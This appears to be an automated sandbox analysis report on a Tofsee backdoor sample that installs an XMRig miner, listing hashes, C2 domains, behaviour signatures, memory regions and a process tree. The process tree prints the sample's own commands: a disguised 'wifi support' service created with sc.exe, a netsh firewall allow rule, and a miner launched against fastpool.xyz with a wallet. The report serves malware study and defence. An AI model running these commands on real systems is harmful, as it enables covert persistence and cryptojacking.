Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 23:07

General

  • Target

    file.exe

  • Size

    269KB

  • MD5

    64d9eaeaa490b8129014dda174fecdd4

  • SHA1

    eb80c0e3a20600527bbe405f008d998de58e45b8

  • SHA256

    ca63ebea3ecd1099004b38c13cd7617ea556d18dadd749102b6e837cff9ebf0e

  • SHA512

    a53e24f8fcecff6668d43a55e277187d193a940f7c7274fa5263712d475e96399a484ca4148701379df33177efc2eeb9b5ea9f20d47ec67458ef7575f5f2d3ec

  • SSDEEP

    3072:dNsekaqWDp1O92TAAm7qMtUi22rRzAevI1M3KkfyBswJchRW0r7ovbeBV:wDa3LOI3i22Vzhf3Vq0PM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rbsfxmjj\
      2⤵
        PID:1336
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wldkpnsk.exe" C:\Windows\SysWOW64\rbsfxmjj\
        2⤵
          PID:2600
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rbsfxmjj binPath= "C:\Windows\SysWOW64\rbsfxmjj\wldkpnsk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rbsfxmjj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rbsfxmjj
          2⤵
          • Launches sc.exe
          PID:2640
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2624
      • C:\Windows\SysWOW64\rbsfxmjj\wldkpnsk.exe
        C:\Windows\SysWOW64\rbsfxmjj\wldkpnsk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2836
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2504
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2068

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\wldkpnsk.exe

              Filesize

              13.0MB

              MD5

              e88690e03df19b4131a986fd58950c7d

              SHA1

              fe3656845e50f9a6c2476455e2b3a518da30cd75

              SHA256

              17b487cdd2be8e8c247ba70149f10fdb02568318182e54dc142482d433b0624e

              SHA512

              b77b12424902c746a28c79f2619ac760d819097abeefe1fdb7455003cc2569d26a03cadbf74cee80375f9d0e5f23b79adad82c69e198f2cbd4b73cc23ff176ae

            • C:\Windows\SysWOW64\rbsfxmjj\wldkpnsk.exe

              Filesize

              13.0MB

              MD5

              e88690e03df19b4131a986fd58950c7d

              SHA1

              fe3656845e50f9a6c2476455e2b3a518da30cd75

              SHA256

              17b487cdd2be8e8c247ba70149f10fdb02568318182e54dc142482d433b0624e

              SHA512

              b77b12424902c746a28c79f2619ac760d819097abeefe1fdb7455003cc2569d26a03cadbf74cee80375f9d0e5f23b79adad82c69e198f2cbd4b73cc23ff176ae

            • memory/1576-1-0x0000000000620000-0x0000000000720000-memory.dmp

              Filesize

              1024KB

            • memory/1576-3-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/1576-4-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/1576-6-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2068-77-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2068-76-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2068-75-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2068-74-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2068-72-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2068-73-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2068-64-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2068-62-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2504-52-0x00000000001D0000-0x00000000001D5000-memory.dmp

              Filesize

              20KB

            • memory/2504-47-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-26-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2504-29-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-32-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-33-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-34-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-35-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-36-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-37-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-38-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-39-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-40-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-41-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-42-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-43-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-44-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-25-0x00000000018B0000-0x0000000001ABF000-memory.dmp

              Filesize

              2.1MB

            • memory/2504-46-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-45-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-48-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2504-49-0x00000000001D0000-0x00000000001D5000-memory.dmp

              Filesize

              20KB

            • memory/2504-22-0x00000000018B0000-0x0000000001ABF000-memory.dmp

              Filesize

              2.1MB

            • memory/2504-53-0x0000000005890000-0x0000000005C9B000-memory.dmp

              Filesize

              4.0MB

            • memory/2504-57-0x0000000000220000-0x0000000000227000-memory.dmp

              Filesize

              28KB

            • memory/2504-56-0x0000000005890000-0x0000000005C9B000-memory.dmp

              Filesize

              4.0MB

            • memory/2504-61-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-10-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2504-14-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2836-12-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2836-17-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2836-9-0x0000000000600000-0x0000000000700000-memory.dmp

              Filesize

              1024KB